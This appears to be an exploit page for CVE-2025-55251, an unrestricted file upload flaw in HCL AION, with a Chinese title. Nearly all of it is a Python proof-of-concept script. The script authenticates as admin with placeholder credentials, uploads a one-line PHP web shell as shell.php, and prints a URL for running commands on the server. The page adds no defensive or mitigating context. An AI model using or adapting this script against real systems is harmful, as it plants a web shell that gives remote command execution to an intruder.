CVE-2025-55251 HCL AION不受限制文件上传漏洞

# CVE-2025-55251 PoC - HCL AION Unrestricted File Upload # Requirements: Local access, High privilege account, User interaction import requests import json target = "https://target-aion-instance.com" # Authentication with high privilege account auth_endpoint = f"{target}/api/auth/login" auth_data = { "username": "admin", "password": "password" } session = requests.Session() response = session.post(auth_endpoint, json=auth_data) token = response.json().get('token') # Upload malicious file upload_endpoint = f"{target}/api/file/upload" headers = {"Authorization": f"Bearer {token}"} # Create malicious PHP/WebShell file malicious_content = b'<?php system($_GET["cmd"]); ?>' files = { 'file': ('shell.php', malicious_content, 'application/x-php') } # Send upload request response = session.post(upload_endpoint, headers=headers, files=files) if response.status_code == 200: file_path = response.json().get('file_path') print(f"[+] Malicious file uploaded successfully: {file_path}") print(f"[+] Access shell at: {target}/{file_path}?cmd=whoami") else: print(f"[-] Upload failed: {response.text}")